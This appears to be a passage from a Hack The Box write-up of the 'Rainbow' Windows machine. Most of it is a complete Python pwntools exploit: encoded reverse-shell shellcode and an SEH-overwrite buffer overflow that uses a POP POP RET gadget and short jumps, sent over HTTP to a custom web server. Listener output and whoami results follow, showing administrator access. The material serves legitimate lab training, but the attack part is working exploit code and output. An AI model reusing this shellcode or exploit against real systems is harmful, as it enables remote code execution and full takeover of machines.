shellcode += b"\x9e\x8e\x58\x72\xa0\x3d\x58\x57\xa0\xc1\xa6"
shellcode += b"\x58"
Our final attack method is to overwrite the shellcode and fill the SEH structure with A's. The controller jumps to nseh by jumping from one short jump to another short jump to the shellcode, thereby executing a reverse shell.
#!/usr/bin/python3
from pwn import remote, p32, asm
shellcode = b""
shellcode += b"\xfc\xbb\xa4\x19\xa0\x48\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x58\xf1\x22\x48\xa0\x02\x43\xc0"
shellcode += b"\x45\x33\x43\xb6\x0e\x64\x73\xbc\x42\x89\xf8"
shellcode += b"\x90\x76\x1a\x8c\x3c\x79\xab\x3b\x1b\xb4\x2c"
shellcode += b"\x17\x5f\xd7\xae\x6a\x8c\x37\x8e\xa4\xc1\x36"
shellcode += b"\xd7\xd9\x28\x6a\x80\x96\x9f\x9a\xa5\xe3\x23"
shellcode += b"\x11\xf5\xe2\x23\xc6\x4e\x04\x05\x59\xc4\x5f"
shellcode += b"\x85\x58\x09\xd4\x8c\x42\x4e\xd1\x47\xf9\xa4"
shellcode += b"\xad\x59\x2b\xf5\x4e\xf5\x12\x39\xbd\x07\x53"
shellcode += b"\xfe\x5e\x72\xad\xfc\xe3\x85\x6a\x7e\x38\x03"
shellcode += b"\x68\xd8\xcb\xb3\x54\xd8\x18\x25\x1f\xd6\xd5"
shellcode += b"\x21\x47\xfb\xe8\xe6\xfc\x07\x60\x09\xd2\x81"
shellcode += b"\x32\x2e\xf6\xca\xe1\x4f\xaf\xb6\x44\x6f\xaf"
shellcode += b"\x18\x38\xd5\xa4\xb5\x2d\x64\xe7\xd1\x82\x45"
shellcode += b"\x17\x22\x8d\xde\x64\x10\x12\x75\xe2\x18\xdb"
shellcode += b"\x53\xf5\x5f\xf6\x24\x69\x9e\xf9\x54\xa0\x65"
shellcode += b"\xad\x04\xda\x4c\xce\xce\x1a\x70\x1b\x40\x4a"
shellcode += b"\xde\xf4\x21\x3a\x9e\xa4\xc9\x50\x11\x9a\xea"
shellcode += b"\x5b\xfb\xb3\x81\xa6\x6c\xb6\x5f\xa6\x46\xae"
shellcode += b"\x5d\xb6\x97\x95\xeb\x50\xfd\xf9\xbd\xcb\x6a"
shellcode += b"\x63\xe4\x87\x0b\x6c\x32\xe2\x0c\xe6\xb1\x13"
shellcode += b"\xc2\x0f\xbf\x07\xb3\xff\x8a\x75\x12\xff\x20"
shellcode += b"\x11\xf8\x92\xae\xe1\x77\x8f\x78\xb6\xd0\x61"
shellcode += b"\x71\x52\xcd\xd8\x2b\x40\x0c\xbc\x14\xc0\xcb"
shellcode += b"\x7d\x9a\xc9\x9e\x3a\xb8\xd9\x66\xc2\x84\x8d"
shellcode += b"\x36\x95\x52\x7b\xf1\x4f\x15\xd5\xab\x3c\xff"
shellcode += b"\xb1\x2a\x0f\xc0\xc7\x32\x5a\xb6\x27\x82\x33"
shellcode += b"\x8f\x58\x2b\xd4\x07\x21\x51\x44\xe7\xf8\xd1"
shellcode += b"\x74\xa2\xa0\x70\x1d\x6b\x31\xc1\x40\x8c\xec"
shellcode += b"\x06\x7d\x0f\x04\xf7\x7a\x0f\x6d\xf2\xc7\x97"
shellcode += b"\x9e\x8e\x58\x72\xa0\x3d\x58\x57\xa0\xc1\xa6"
shellcode += b"\x58"
back = asm("jmp $-0x28f")
offset = 660
junk = b"A" * (offset - len(shellcode + back))
nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;
payload = b""
payload += shellcode
payload += junk
payload += back
payload += nseh + seh
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("10.129.234.171", 8080)
shell.send(content)
shell.interactive()
After running the exploit script, we can get the shell as rainbow
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.234.171] 51808
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\rainbow>whoami
whoami
rainbow\rainbow
Privilege Escalation
I would check the groups and privilege firstly
C:\rainbow>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
C:\rainbow>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
We can see that we are now local administrators.
Description
Rainbow is a Medium-difficulty Windows machine centered around exploiting a custom web server (Rainbow 0.1) running on a dynamically assigned port. Initial enumeration reveals an open FTP service allowing anonymous login, which exposes the server binary, a developer note, and a watchdog restart script. Static and dynamic analysis of the binary uncovers a stack-based buffer overflow vulnerability triggered via a malformed HTTP request. Due to the absence of modern exploit mitigations, the vulnerability is leveraged through an SEH (Structured Exception Handler) overwrite technique. A POP; POP; RET gadget within the binary is used to redirect execution flow back to attacker-controlled shellcode placed in the pre-SEH buffer region, using a chain of short jumps to navigate around a null-byte truncation constraint. Successful exploitation yields a reverse shell as the rainbow service account, which is found to be a member of the local Administrators group with High Mandatory Level integrity and SeImpersonatePrivilege enabled, granting full control over the machine without requiring further privilege escalation steps.